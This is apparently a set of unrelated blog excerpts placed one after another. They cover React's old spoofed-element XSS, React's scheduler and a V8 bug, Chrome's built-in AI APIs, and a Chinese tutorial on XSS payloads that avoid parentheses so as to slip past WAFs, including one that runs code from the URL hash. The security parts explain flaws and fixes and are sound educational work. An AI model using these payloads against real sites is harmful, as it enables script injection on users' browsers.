這樣的行為讓 V8 壞掉，不知道該怎麼處理 shape 的改變，於是就新增了一個全新的 shape。而且不只針對這一個 object，是所有類似的 object 都會，都無法共享 shape，而是每人有一個自己的。

儘管大多數人都不會察覺這種底層的差別，但因為 React 在測試時 node 數量很多，當基數放大後就能察覺到差異，演變成了一個性能問題。

雖然 V8 把 bug 修掉，所以現在不會有這問題了，但是 React 那邊也修了一版，例如說剛提到的 NaN，會設置成 NaN 是因為它底層是浮點數而不是 Smi，而現今的版本之所以是 -0 也是一樣的原因，-0 是浮點數，0 是 Smi。

當初始值跟後來的值都是浮點數時，就不會有這個 shape 改變的問題，也就不會碰到這個 V8 bug。

但是，你有沒有想過要怎麼知道 NaN 跟 -0 是浮點數呢？

從 V8 bytecode 看底層型別

除了翻規格以外，把程式碼編譯成 V8 bytecode 其實是個很好的方法，例如說底下的函式：

function test(x) {  return x === 0;}function AAAAA () {  test(0);  test(-0);  test(3);  test(0/0); // NaN}AAAAA()

我用指令 node --print-bytecode test.js > out 編譯後，得出的結果為：

[generated bytecode for function: AAAAA (0x31bb2f7de971 <SharedFunctionInfo AAAAA>)]Bytecode length: 41Parameter count 1Register count 2Frame size 16Bytecode age: 0   62 S> 0x31bb2f7df776 @    0 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df778 @    2 : c4                Star0         0x31bb2f7df779 @    3 : 0c                LdaZero         0x31bb2f7df77a @    4 : c3                Star1   62 E> 0x31bb2f7df77b @    5 : 62 fa f9 00       CallUndefinedReceiver1 r0, r1, [0]   73 S> 0x31bb2f7df77f @    9 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df781 @   11 : c4                Star0         0x31bb2f7df782 @   12 : 13 00             LdaConstant [0]         0x31bb2f7df784 @   14 : c3                Star1   73 E> 0x31bb2f7df785 @   15 : 62 fa f9 02       CallUndefinedReceiver1 r0, r1, [2]   85 S> 0x31bb2f7df789 @   19 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df78b @   21 : c4                Star0         0x31bb2f7df78c @   22 : 0d 03             LdaSmi [3]         0x31bb2f7df78e @   24 : c3                Star1   85 E> 0x31bb2f7df78f @   25 : 62 fa f9 04       CallUndefinedReceiver1 r0, r1, [4]   96 S> 0x31bb2f7df793 @   29 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df795 @   31 : c4                Star0         0x31bb2f7df796 @   32 : 13 01             LdaConstant [1]         0x31bb2f7df798 @   34 : c3                Star1   96 E> 0x31bb2f7df799 @   35 : 62 fa f9 06       CallUndefinedReceiver1 r0, r1, [6]         0x31bb2f7df79d @   39 : 0e                LdaUndefined  114 S> 0x31bb2f7df79e @   40 : a9                ReturnConstant pool (size = 2)0x31bb2f7df711: [FixedArray] in OldSpace - map: 0x3bc7231c0211 <Map(FIXED_ARRAY_TYPE)> - length: 2           0: 0x31bb2f7df731 <HeapNumber -0.0>           1: 0x3bc7231c0561 <HeapNumber nan>Handler Table (size = 0)Source Position Table (size = 21)0x31bb2f7df7a1 <ByteArray[21]>

可以看到 3 就是直接 LdaSmi，代表是 Smi，而 -0 跟 NaN 是 LdaConstant，從 constant pool 載入進來，而這個 constant pool 裡面則寫著：

Constant pool (size = 2)0x31bb2f7df711: [FixedArray] in OldSpace - map: 0x3bc7231c0211 <Map(FIXED_ARRAY_TYPE)> - length: 2           0: 0x31bb2f7df731 <HeapNumber -0.0>           1: 0x3bc7231c0561 <HeapNumber nan>

很明顯可以看到這兩個都是 heap number，不屬於 Smi。

如果從理論上的角度來看也行啦，NaN 不能是 Smi，是因為 NaN 本來就是 IEEE 754 裡面定義的東西，而 -0 需要那個負號，這個在 int 中也沒有，所以也只能是個 double。

但總之呢，未來若是碰到這個底層型別的疑惑，可以編譯成 bytecode 之後確認，一目瞭然。

總結

這篇文章中我們從 React 原始碼中學到不少東西，分別是：

1. Symbol 的用途，可以利用沒辦法反序列化的特性，來保證外界沒辦法構造出來
2. 各種非同步函式如 requestIdleCallback、requestAnimationFrame、MessageChannel 與 setTimeout 的觸發時機以及特性，還有 React 底層是怎麼安排 task 的。
3. 在規格上看來所有 JavaScript 的數字都是 64bit double，但在 V8 底層其實還是有分 Smi 跟 double，可以用 bytecode 來確認型別。

以上內容都來自於我自己寫的《JavaScript 重修就好》這本書，書中還有提到更多有趣的案例，像是 Vue 又是怎麼實作非同步的，它的 nextTick 背後用的又是哪個函式？或是 IEEE 754 還定義了哪些東西，數字在使用時需要注意什麼地方等等。

如果有興趣的話可以找來看看，有什麼問題或建議都可以透過臉書粉專聯絡我。

I find it interesting to learn new concepts from the code of these open-source projects. After all, the more bugs these widely used frameworks encounter, the more solutions to these problems can be learned, allowing for reflection on what one has previously learned.

This article is divided into three small sections:

1. XSS Vulnerabilities in Older Versions of React
2. Learning the Event Loop from React Fiber
3. Learning Underlying Mechanics from V8 Bugs

XSS Vulnerabilities in Older Versions of React

What security issues can you find in the following code?

function Test() {  const name = qs.parse(location.search).name;  return (    <div className="text-red">      <h1>{name}</h1>    </div>  )}

At first glance, it seems there’s no problem, right? Isn’t it just rendering a name? In React, it automatically encodes, so even if an <img> is inserted, it won’t be parsed as a tag but will be converted to plain text, which seems fine.

If we continue to expand this code, transforming JSX into JavaScript, it would look something like this:

function Test() {  const name = qs.parse(location.search).name;  return createElement(    'div',    { className: 'text-red' },    createElement(      'h1',      {},      name    )  )}

JSX syntax is converted back to JavaScript during compilation. The old version uses React.createElement, while the new version has changed to _jsx, but regardless of how the API looks, it’s essentially a piece of JavaScript that creates an element.

After these functions are executed, they produce what is known as the virtual DOM. If we expand it into an object, it would look like this:

function Test() {  const name = qs.parse(location.search).name;  return ({    type: 'div',    props: {      className: 'text-red',      children: {        type: 'h1',        props: {          children: name        }      }    }  })}

When React renders, it will render based on this object and display the name we passed in.

But the problem arises: libraries like qs actually support objects. For example, ?name[test]=1 would make name become {"test": 1}. Therefore, although this name should appear to be a string, it can actually be an object.

Even though passing objects is usually blocked by React, have you ever thought that these components are also objects? So how does React determine whether an object is a component?

In older versions of React, this check is very simple:

ReactElement.isValidElement = function(object) {  return !!(    typeof object === 'object' &&    object !== null &&    'type' in object &&    'props' in object  )}

As long as there is a type and props, it is considered a React component. Therefore, if our name looks like this:

{  type: "div",  props: {    dangerouslySetInnerHTML: {      __html: "<img src=x onerror=alert()>"    }  }}

It would be treated as a React component and rendered accordingly.

In this way, this feature is successfully exploited to pretend to be a React component and render arbitrary HTML, creating an XSS vulnerability.

This vulnerability was first discovered by Daniel LeCheminan in 2015, who wrote an article: XSS via a spoofed React element, although the context in the original text is slightly different.

In summary, this issue caught React’s attention, leading to a discussion in an issue: How Much XSS Vulnerability Protection is React Responsible For? #3473, and the final fix can be found here: Use a Symbol to tag every ReactElement #4832.

The solution is: Symbol.

By adding a $$typeof: Symbol.for('react.element') to the React component and including this check in isValidElement, we can ensure that other objects cannot forge a React component.

The underlying principle is the characteristic of symbols; unlike regular objects, a symbol is only equal to the same symbol, and JSON deserialization does not support symbols. Therefore, you can only create ordinary objects and cannot create a symbol, which naturally prevents the forgery of components.

In the future, if someone asks you where symbols can be used, you can use this case as an answer.

Additionally, this is not only applicable to the frontend; the backend is the same. For example, in older versions of JavaScript ORM: Sequelize, operators were also represented as strings, such as:

Post.findAll({  where: {    authorId: {      '$or': [12, 13]    }  }});

However, starting from v5, they have all been replaced with symbols, and the original strings have been deprecated:

const { Op } = require('sequelize');Post.findAll({  where: {    authorId: {      [Op.or]: [12, 13]    }  }});// operators.tsexport const Op: OpTypes = {  eq: Symbol.for('eq'),  ne: Symbol.for('ne'),  gte: Symbol.for('gte'),  or: Symbol.for('or'),  // [...]}

The underlying reason is the same, which is a consideration for information security. The original PR can be found here: Secure operators #8240.

By the way, during a live stream, someone asked, if you can create a symbol, does that mean these defenses are useless? The answer is: yes. But usually, to create a symbol, either you already have the ability to execute code, or the developer needs to add a deserializer that can create symbols, both of which are quite difficult to achieve.

Learning Event Loop from React Fiber

In 2018, I wrote an article related to React Fiber: A Brief Discussion on React Fiber and Its Impact on Lifecycles, and the mechanism can be summed up as: “breaking large synchronous tasks into multiple asynchronous small tasks” to avoid blocking the main thread.

So how can this mechanism be implemented in JavaScript? How should these asynchronous tasks be scheduled?

React 16.0.0 - requestIdleCallback

In the earliest version of React 16.0.0, it used the browser’s built-in API: requestIdleCallback. The MDN description is:

The window.requestIdleCallback() method queues a function to be called during a browser’s idle periods. This enables developers to perform background and low priority work on the main thread, without impacting latency-critical events such as animation and input response.

After breaking the original large task into smaller tasks, requestIdleCallback is used to schedule the next task, allowing the browser to execute it when idle, thus not blocking the main thread.

React 16.4.0 - requestAnimationFrame + postMessage

However, in React 16.4.0, it was replaced with a combination of requestAnimationFrame (hereafter referred to as rAF) and postMessage (this method was initially intended as a fallback for when requestIdleCallback was not available, but in this version, it was promoted and directly replaced requestIdleCallback).

In this mechanism, two types of callbacks are created: one is a callback scheduled using rAF, which is automatically triggered by the browser, and the other is a callback scheduled using window.addEventListener('message', fn), triggered through window.postMessage.

The actual operation of this mechanism works like this: each tick below represents one event loop. We first schedule an rAF, and within it, calculate the time when the next rAF should be triggered (which is the current time + frame length, e.g., 16ms):

Next, call rAF and postMessage again inside to schedule the callback for the next tick:

The next step is browser render. After it finishes, it enters the next tick, and then the message handler is triggered:

Since the time for the next rAF to be triggered has already been calculated, the message handler can take advantage of this time (which could be around 5ms or longer) to perform tasks, executing small tasks continuously before the time is up.

After execution, rAF will be triggered again, doing the same thing as before, scheduling the callback for the next tick, and then browser render, ending this tick:

This process continues to execute, which is the entire asynchronous task scheduling mechanism. In simple terms, it is:

1. Calculate how much time can be spent executing tasks without interfering with rendering in rAF.
2. Execute tasks as much as possible in the message handler.

In the React source code, rAF is referred to as Animation Tick, while the message handler is called Idle Tick.

So why use postMessage and message handler? The reason is that if you use setTimeout(fn, 0), there is a classic 4ms limitation. If you keep using setTimeout to schedule tasks, after a few recursive arrangements, the shortest execution interval will become 4ms, regardless of how much you set the interval.

On the other hand, postMessage and message handler do not have this limitation, which is why this approach was chosen.

However, there is a downside to using the message handler, which is that the current usage is window.addEventListener('message', fn), so every time a task is scheduled, window.postMessage must be used. If there are other listeners on the page, it will be triggered repeatedly.

For example, some extensions might print out all received messages to help with debugging, potentially receiving one every 30ms, which could flood the logs. Such side-effect behavior is clearly not ideal and can interfere with other implementations.

React 16.7.0 - requestAnimationFrame + MessageChannel

Starting from React 16.7.0, this part was changed to use MessageChannel, which is another Web API for message exchange. Its usage is quite similar to the original, just with the added concept of a port:

// DOM and Worker environments.// We prefer MessageChannel because of the 4ms setTimeout clamping.const channel = new MessageChannel();const port = channel.port2;channel.port1.onmessage = performWorkUntilDeadline;schedulePerformWorkUntilDeadline = () => {  port.postMessage(null);};

In the comments of the code, you can also see why React does not use setTimeout, which is the same reason I just mentioned. The PR for this change is here: [scheduler] Post to MessageChannel instead of window #14234.

It seems like that’s it? This mechanism is quite reasonable, using two different types of asynchronous tasks to do different things while trying to perform tasks without interfering with rendering.

React 16.12.0 - MessageChannel

However, in React 16.12.0, the mechanism changed again, removing rAF and leaving only MessageChannel, executing for a maximum of 5ms each time:

So why switch to this mechanism? There are two places that explain it. The first is the code in 16.12.0:

// Scheduler periodically yields in case there is other work on the main// thread, like user events. By default, it yields multiple times per frame.// It does not attempt to align with frame boundaries, since most tasks don't// need to be frame aligned; for those that do, use requestAnimationFrame.let yieldInterval = 5;

The main idea is that since the task does not need to align with the rendering of the screen, it ignores rendering and just keeps yielding.

The second explanation is from the issue Concurrency / time-slicing by default #21662, where someone asked if the scheduler was still using requestIdleCallback. Dan’s comment was:

No, it fired too late and we’d waste CPU time. It’s really important for our use case that we utilize CPU to full extent rather than only after some idle period. So instead we rewrote to have our own loop that yields every 5ms.

This clarifies why requestIdleCallback was eliminated at the beginning, because it fired too late.

So how is the implementation in the latest version v19.2.0?

From the code, it can be seen that it is basically the same mechanism as above, with not much change. It still uses MessageChannel to schedule tasks and yields every so often.

In the Near Future: Native Scheduler API

In fact, the Scheduler is not just for React; it is used whenever asynchronous task scheduling is needed. Therefore, browsers actually provide a native Scheduler API, but it is still new and not well supported. However, it can be anticipated that in the future, there may be no need to write a custom implementation, as using the native browser API would be the best option.

In fact, React is already using this to implement a set, but it is still in an unstable state: SchedulerPostTask.js. The native API directly supports scheduling tasks with different priorities, which is much more convenient than writing it yourself.

In summary, from React’s code for scheduling asynchronous tasks, we can learn about the differences in timing and frequency of triggering different functions. We can also understand why React made such choices through these changes in mechanisms, allowing us to better grasp the nuances of these asynchronous details.

Learning About Underlying Operations from V8 Bug

Continuing from the earlier discussion about React fiber, there is a section related to the profiler in the code:

if (enableProfilerTimer) {  this.actualDuration = -0;  this.actualStartTime = -1.1;  this.selfBaseDuration = -0;  this.treeBaseDuration = -0;}

The question arises: why is the initial value here -0 instead of 0? What is the difference between these two?

In even older versions, it was first assigned as NaN before becoming 0. What kind of magic is this?

if (enableProfilerTimer) {    this.actualDuration = Number.NaN;  this.actualStartTime = Number.NaN;  this.selfBaseDuration = Number.NaN;  this.treeBaseDuration = Number.NaN;    this.actualDuration = 0;  this.actualStartTime = -1;  this.selfBaseDuration = 0;  this.treeBaseDuration = 0;}

All of this is related to the underlying operations of V8 and a bug.

Regarding this matter, V8 itself has a blog post: The story of a V8 performance cliff in React, which explains it very well. Please read this article yourself or look at it with AI; I won’t repeat it here, and will only mention the conclusions and key points below.

First of all, although we all know that in the JavaScript specification, all numbers are doubles, the JavaScript engine does not necessarily implement it that way. After all, if every number were stored as a 64-bit double, there would be both space and performance issues, and integer addition and subtraction would also be floating-point operations, which is unbearable.

Therefore, in the V8 engine, numbers are actually divided into two types: one is a 32-bit int called a small integer, abbreviated as Smi, and the other is truly a floating-point number, called HeapNumber. The two types are stored in different locations, with floating-point numbers needing to be stored in the heap.

To optimize objects, they are associated with something called a shape when stored, similar to the metadata of the object, which stores the type and offset of each value. Similarly, objects of the same interface will share the same shape.

When the type of an object value changes, this shape will also change. For example, if it changes from Smi to double, a new shape will be created.

The bug in V8 can be simply described as follows: in the React profiler, certain values are initially initialized to 0, with the type being Smi. Then, Object.preventExtensions is used to prevent new properties from being added, and this value is changed to a floating-point number (the return value of performance.now()).

This behavior causes V8 to break, as it does not know how to handle the change in shape, resulting in the creation of an entirely new shape. Moreover, this issue is not limited to just one object; all similar objects cannot share the shape and instead each have their own.

Although most people may not notice this underlying difference, when React is tested with a large number of nodes, the difference becomes apparent as the base increases, evolving into a performance issue.

Although V8 has fixed the bug, so this issue no longer exists, React has also made a fix. For instance, the NaN mentioned earlier is set to NaN because it is fundamentally a floating-point number rather than Smi. The current version being -0 is for the same reason; -0 is a floating-point number, while 0 is Smi.

When both the initial value and the subsequent value are floating-point numbers, there will be no issue with the change in shape, and thus the V8 bug will not be encountered.

However, have you ever thought about how to determine that NaN and -0 are floating-point numbers?

Looking at Underlying Types from V8 Bytecode

Aside from translating specifications, compiling code into V8 bytecode is actually a good method. For example, consider the following function:

function test(x) {  return x === 0;}function AAAAA () {  test(0);  test(-0);  test(3);  test(0/0); // NaN}AAAAA()

After compiling with the command node --print-bytecode test.js > out, the result is:

[generated bytecode for function: AAAAA (0x31bb2f7de971 <SharedFunctionInfo AAAAA>)]Bytecode length: 41Parameter count 1Register count 2Frame size 16Bytecode age: 0   62 S> 0x31bb2f7df776 @    0 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df778 @    2 : c4                Star0         0x31bb2f7df779 @    3 : 0c                LdaZero         0x31bb2f7df77a @    4 : c3                Star1   62 E> 0x31bb2f7df77b @    5 : 62 fa f9 00       CallUndefinedReceiver1 r0, r1, [0]   73 S> 0x31bb2f7df77f @    9 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df781 @   11 : c4                Star0         0x31bb2f7df782 @   12 : 13 00             LdaConstant [0]         0x31bb2f7df784 @   14 : c3                Star1   73 E> 0x31bb2f7df785 @   15 : 62 fa f9 02       CallUndefinedReceiver1 r0, r1, [2]   85 S> 0x31bb2f7df789 @   19 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df78b @   21 : c4                Star0         0x31bb2f7df78c @   22 : 0d 03             LdaSmi [3]         0x31bb2f7df78e @   24 : c3                Star1   85 E> 0x31bb2f7df78f @   25 : 62 fa f9 04       CallUndefinedReceiver1 r0, r1, [4]   96 S> 0x31bb2f7df793 @   29 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df795 @   31 : c4                Star0         0x31bb2f7df796 @   32 : 13 01             LdaConstant [1]         0x31bb2f7df798 @   34 : c3                Star1   96 E> 0x31bb2f7df799 @   35 : 62 fa f9 06       CallUndefinedReceiver1 r0, r1, [6]         0x31bb2f7df79d @   39 : 0e                LdaUndefined  114 S> 0x31bb2f7df79e @   40 : a9                ReturnConstant pool (size = 2)0x31bb2f7df711: [FixedArray] in OldSpace - map: 0x3bc7231c0211 <Map(FIXED_ARRAY_TYPE)> - length: 2           0: 0x31bb2f7df731 <HeapNumber -0.0>           1: 0x3bc7231c0561 <HeapNumber nan>Handler Table (size = 0)Source Position Table (size = 21)0x31bb2f7df7a1 <ByteArray[21]>

You can see that 3 is directly LdaSmi, indicating it is Smi, while -0 and NaN are LdaConstant, loaded from the constant pool, which contains:

Constant pool (size = 2)0x31bb2f7df711: [FixedArray] in OldSpace - map: 0x3bc7231c0211 <Map(FIXED_ARRAY_TYPE)> - length: 2           0: 0x31bb2f7df731 <HeapNumber -0.0>           1: 0x3bc7231c0561 <HeapNumber nan>

It is clear that both of these are heap numbers and do not belong to Smi.

From a theoretical perspective, NaN cannot be Smi because NaN is defined in IEEE 754, and -0 requires the negative sign, which does not exist in int, so it can only be a double.

In any case, if you encounter confusion regarding underlying types in the future, you can compile to bytecode for confirmation; it is straightforward.

Summary

In this article, we learned several things from the React source code:

1. The purpose of Symbol, which can utilize its non-serializable feature to ensure that it cannot be constructed externally.
2. The triggering timing and characteristics of various asynchronous functions such as requestIdleCallback, requestAnimationFrame, MessageChannel, and setTimeout, as well as how React arranges tasks at a lower level.
3. While all JavaScript numbers appear to be 64-bit doubles in specifications, V8 actually differentiates between Smi and double at a lower level, which can be confirmed using bytecode.

由於這個擴充套件是開源的，因此我第一件好奇的事就是：「它是用哪一間 AI 的服務，key 怎麼處理？」，結果看了 source code 才發現居然是 Chrome 內建的 Web API，不是我以為的 HTTP API。

算是有點後知後覺，現在才發現原來有內建的 Web API 可以用，因此寫篇文章簡單記錄一下。

Chrome 的內建 AI 相關 API

如果想直接看 Google 的官方影片，可以參考這個：The future of Chrome Extensions with Gemini in your browser，文字版的話則是這篇：內建 AI API。

Chrome 從 138 版本開始（寫這篇文章當下，最新穩定版是 140），提供了三個內建的 Web API：

1. Translator API，翻譯
2. Language Detector API，偵測語言
3. Summarizer API，摘要文章

這三個 API 在使用前會需要下載一些小模型，而整體的使用方式超級簡單，底下以翻譯的功能為例。

首先，會需要檢查是否可用以及是否需要下載：

const translator = await Translator.create({  sourceLanguage: 'en',  targetLanguage: 'zh-TW',  monitor(m) {    m.addEventListener('downloadprogress', (e) => {      console.log(`Downloaded ${e.loaded * 100}%`);    });  },});

那個 monitor 就是監控下載進度用的，以翻譯來說滿快就可以下載完。

下載完之後，只要一行程式碼就可以翻譯：

await translator.translate('How are you?');// 你好嗎?

就這樣，沒了，超級簡單。

不過我試了一下，翻譯的品質沒有到很好，還是比不上直接去用真的大型 LLM 模型。但這功能可以直接內建在 Web API 裡，已經是一大進步了。

Prompt API

除了開頭提的那三種，也有幾個還在測試中的 API，如 prompt API，就是可以直接下 prompt，跟平常使用 ChatGPT 等等的 API 差不多。目前要用的話需要去申請個 origin trial 拿 key，我之前有寫過怎麼申請：透過 Chrome Origin Trials 搶先試用新功能。

我做了一個 demo 網站，有興趣可以玩玩看。因為 prompt API 的模型滿大的，建議在非手機網路環境下載，否則網路流量可能會爆掉。

另外，由於這個 API 還在測試階段，所以可能會有些問題。我一開始自己玩幾次都沒問題，但後來好像踩到了什麼 bug，每次問 AI 後都會直接系統級 panic，整個 Mac 當掉自動重開。

https://aszx87410.github.io/demo/ai/prompt-api.html

而這個 API 的使用方法也超簡單，第一步同樣是確認可用性以及下載：

await LanguageModel.create({  monitor(m) {    // 監控下載進度    m.addEventListener('downloadprogress', (e) => {      updateProgress(e.loaded);      if (e.loaded >= 1) {        updateStatus('✅ AI 下載完成並已就緒！', 'available');      }    });  }});

下載完之後就可以用了：

const session = await LanguageModel.create();const response = await session.prompt('你可以做什麼？');console.log(response)

有更多參數可以調整啦，而且可以支援更複雜的對話，上面只是一個很基礎的範例而已。

儘管模型不大，可以做的事情也沒有其他大模型多，但是在瀏覽器上面放一個可以在本地跑的小模型，已經能分擔掉一部分需要 API key 才能做的事了。

現在 Chrome 也越來越積極把小模型直接包在裡面，提供更多原生的 AI 功能，而未來開發者也可以運用這些 Web API 直接開發產品，不需要自己準備後端。

其他瀏覽器呢？

Translation API 已經隨著 Chrome 138 一起正式發佈，Google 也訂出了相關標準，不過目前 Firefox 跟 Safari 則是還在很早期的階段。

Firefox 對目前的 API design 不太滿意，有提了另一個版本。而 Safari 對目前的做法也有一些隱私與資安上的考量，看起來還沒什麼進展。

至於其他更強大的 API 如 Prompt API，Firefox 直接對目前的提案給了個 negative，而 Safari 那邊看起來似乎沒什麼消息。

因此，這篇所提到的東西目前都只有 Chromium-based 的瀏覽器可以用，如 Chrome 與 Edge。未來其他瀏覽器會不會跟上，還是個未知數。

結語

各種 AI 與現有產品的整合勢在必行，瀏覽器身為使用者會重度使用的應用程式，更是兵家必爭之地。

例如說 Perplexity 自己推了個 Comet Browser，而 Chrome 也有越來越多內建的 AI 功能。

如果 AI 沒騙我的話，目前 Chrome 的 Prompt API 用的是 Gemma，Edge 上的是 Phi。

當瀏覽器內建的 AI 模型越來越進化，能做的事情就更多了。不過以目前的狀況來看，在本地能跑的模型絕對是很有限的，畢竟能用的資源就那些，效果還是沒有那些大模型來得好，但未來可以持續關注，應該會一直不斷進化。

Since this extension is open source, my first curiosity was: “Which AI service does it use, and how is the key handled?” After looking at the source code, I found out that it actually uses Chrome’s built-in Web API, not the HTTP API I had assumed.

It was a bit of a late realization for me to discover that there are built-in Web APIs available, so I decided to write a short article to document it.

Chrome’s Built-in AI Related APIs

If you want to watch the official Google video directly, you can refer to this: The future of Chrome Extensions with Gemini in your browser. For a text version, you can check this article: Built-in AI API.

Starting from version 138 (as of writing this article, the latest stable version is 140), Chrome provides three built-in Web APIs:

1. Translator API, for translation
2. Language Detector API, for detecting languages
3. Summarizer API, for summarizing articles

These three APIs require downloading some small models before use, and the overall usage is super simple. Below is an example using the translation feature.

First, you need to check if it’s available and whether you need to download:

const translator = await Translator.create({  sourceLanguage: 'en',  targetLanguage: 'zh-TW',  monitor(m) {    m.addEventListener('downloadprogress', (e) => {      console.log(`Downloaded ${e.loaded * 100}%`);    });  },});

That monitor is used to track the download progress, and for translation, it can be downloaded quite quickly.

Once downloaded, you can translate with just one line of code:

await translator.translate('How are you?');

That’s it, super simple.

However, I tried it out, and the quality of the translation wasn’t very good; it still can’t compare to using a real large LLM model. But having this feature built directly into the Web API is already a significant improvement.

Prompt API

In addition to the three mentioned at the beginning, there are also a few other APIs still in testing, such as the prompt API, which allows you to directly input prompts, similar to using ChatGPT and other APIs. Currently, to use it, you need to apply for an origin trial to get a key. I previously wrote about how to apply: Try New Features Early Through Chrome Origin Trials.

I created a demo website; feel free to check it out. Since the prompt API model is quite large, it’s recommended to download it in a non-mobile network environment, otherwise, the data usage might spike.

Additionally, since this API is still in the testing phase, there may be some issues. At first, I had no problems playing around with it, but later it seemed I hit some bug, and every time I asked the AI, it would cause a system-level panic, causing my entire Mac to crash and restart.

https://aszx87410.github.io/demo/ai/prompt-api.html

The usage of this API is also super simple. The first step is to check availability and download:

await LanguageModel.create({  monitor(m) {    m.addEventListener('downloadprogress', (e) => {      updateProgress(e.loaded);      if (e.loaded >= 1) {        updateStatus('✅ ready', 'available');      }    });  }});

Once downloaded, you can use it:

const session = await LanguageModel.create();const response = await session.prompt('What can you do?');console.log(response)

There are more parameters you can adjust, and it can support more complex conversations; the above is just a very basic example.

Although the model isn’t large and the capabilities are not as extensive as other large models, having a small model that can run locally in the browser can already offload some tasks that would otherwise require an API key.

Now Chrome is also increasingly proactive in packaging small models directly within, providing more native AI features, and in the future, developers can use these Web APIs to develop products without needing to prepare their own backend.

What about other browsers?

The Translation API was officially released with Chrome 138, and Google has set related standards. However, Firefox and Safari are still in very early stages.

Firefox is currently not very satisfied with the API design and has proposed another version. Safari also has some privacy and security considerations regarding the current approach, and it seems there hasn’t been much progress.

As for other more powerful APIs like the Prompt API, Firefox has given a negative response to the current proposal, while there seems to be no news from Safari on that front.

Therefore, the things mentioned in this article are currently only available in Chromium-based browsers like Chrome and Edge. Whether other browsers will catch up in the future remains uncertain.

Conclusion

The integration of various AI with existing products is imperative, and browsers, being applications that users heavily rely on, are a battleground for competition.

For example, Perplexity has launched a Comet Browser, and Chrome is increasingly incorporating built-in AI features.

If AI is not misleading me, the current Prompt API in Chrome uses Gemma, while Edge uses Phi.

As the AI models built into browsers evolve, the capabilities will expand. However, given the current situation, the models that can run locally are definitely very limited, as the available resources are constrained, and their performance is not as good as those large models. But it is worth keeping an eye on the future, as they should continue to evolve.

因此，這篇就來簡單講解一下這些 payload，參考的原文是 Gareth Heyes 的這兩篇文章：

1. XSS technique without parentheses
2. XSS without parentheses and semi-colons

為什麼我們需要這種 payload？

有些人會想說既然都可以執行 JavaScript 了，幹嘛還要這麼多限制？而最大的原因是：WAF（Web Application Firewall），最常見的就是 Cloudflare 的 WAF，只要有一點風吹草動就把你擋下來，儘管你可以插入 HTML 或甚至執行 JavaScript，但只要含有某些 pattern 就直接把你擋掉。

再者，有些情境會造成部分字元不可用，這時候就需要發揮創意，想辦法不用這些字元來湊出可以執行的程式碼。

先從不需要括號開始

在 JavaScript 中似乎要執行函式就一定要括號，那如果不能用括號該怎麼辦呢？

Tagged template strings

第一種方法有些開發者應該用過，但可能一時不會想到。某些 JavaScript 的 library 會用 template strings 來執行函式，如 Postgres.js：

async function getUsersOver(age) {  const users = await sql`    select      name,      age    from users    where age > ${ age }  `  // users = Result [{ name: "Walter", age: 80 }, { name: 'Murray', age: 68 }, ...]  return users}

不懂的人乍看之下會想說怎麼這樣寫，難道不是個 SQL injection 漏洞嗎？

如果只用了 template strings 的話，那確實是，但注意前面多了個 sql，這就不一樣了，就不只是單純的字串拼接，而是函式執行了，是一個 JavaScript 的語法，可以看底下範例：

function test(...args){    console.log(args)}test`Hello ${'huli'}!!!${'good'}~~`// [['Hello ', '!!!', '~~'], 'huli', 'good']

當我們在前面加上一個函式時，函式的參數會收到原始字串中固定的部分，以及被插入的變數，就可以直接用這些資訊做 sanitization，來避免 SQL injection，這種用法叫做 tagged templates strings。

最後達成的效果就是看起來只是字串取代，但背後是函式執行而且有做 sanitization，所以其實是安全的。

利用這個概念，就可以寫出不需要括號的 XSS payload：

alert`test`

但有些人會問說，這樣的話就只能執行 alert 而已，有沒有辦法執行任意程式碼呢？例如說 fetch 好了，我如果想要 POST 的話，一定要用到第二個參數：fetch(url, { method:'POST'})，而上面的方法第二個參數會是個陣列，因此 fetch 會報錯，就跑不動了。

針對這個問題，我們可以先利用 function constructor，傳入字串來建立一個函式，不熟這個的之後可以去讀：如何不用英文字母與數字寫出 console.log(1)？或是Intigriti’s 0521 XSS 挑戰解法：限定字元組合程式碼，但我還是先簡單介紹一下。

在 JavaScript 中，可以用 new Function(code) 來動態建立出一個函式：

new Function('alert(1)')// anonymous() { alert(1) }

而那個 new 其實不是必須的，拿掉也無妨。再者，動態建立的函式是可以傳參數的：

new Function('a', 'alert(a+1)')// anonymous(a) { alert(a+1) }new Function('a', 'b', 'alert(a+b)')// anonymous(a,b) { alert(a+b) }

最後一個參數會被當作實際的程式碼，前面的都會被當成是函式的參數，並且回傳建立好的函式。

因此，我們可以利用這點搭配剛剛講的 tagged templates，從字串建立函式：

Function`alert(1)`// anonymous() { alert(1) }

那這個建立出來的函式，要怎麼執行呢？很簡單，再用一次相同作法就好：

// 最後多加兩個 ``，就跟前面講過的 alert`1` 用法一樣// 怕 markdown parser 出錯，多加一個空格，但有沒有都一樣Function`alert(1)` ``

因為裡面的 alert(1) 是字串，所以括號可以直接用 unicode 來取代，這也是合法的字串表示方法，會變成：

// 其實就是 alert(1) 啦Function`alert\u00281\u0029` ``

這樣整個 payload 就沒有用到任何括號，但又能執行任意程式碼了！

這個做法用到的是執行 template 時的第一個參數，也就是固定的部分，但我們也可以用到後面的參數。舉例來說：

function test(a, b){    console.log(a) // ['_', '']    console.log(b) // hello}test`_${'hello'}`

當我們同時傳入固定字串與參數時，第一個參數是所有固定的部分，這個剛提過了，而第二個參數則是我們動態傳入的變數 hello。

用上面的方法建立函式時，如同剛講過的，最後的參數會被當作 function body：

Function`_${'hello'}`// anonymous(_,) { hello }

因此這個 hello 就是我們可以控制的部分了。因為它是動態傳入的，所以能玩的方法就很多了，可以搭配網站上我們能控制的地方。舉例來說，location.hash 會回傳 URL 上的 hash 如 #test，只要加上 slice(1) 就可以把前面的 # 去掉，結合起來就是：

// 從剛剛講到的這個開始Function`_${'hello'}`// 先換成 location.hash.slice(1)Function`_${location.hash.slice(1)}`// 把 slice(1) 換成 ``Function`_${location.hash.slice`1`}`// 最後再加上 `` 執行函式// 記得把網站的 hash 弄成 #alert(1)Function`_${location.hash.slice`1`}` ``

就組出了一個不用括號但卻能執行任意程式碼的 payload，把實際要執行的字串放在 hash，動態去執行 hash 中的程式碼。

onerror 事件

前面寫這麼多其實還沒進入正題，開頭提的原文發現的是另外一種更巧妙的方法。

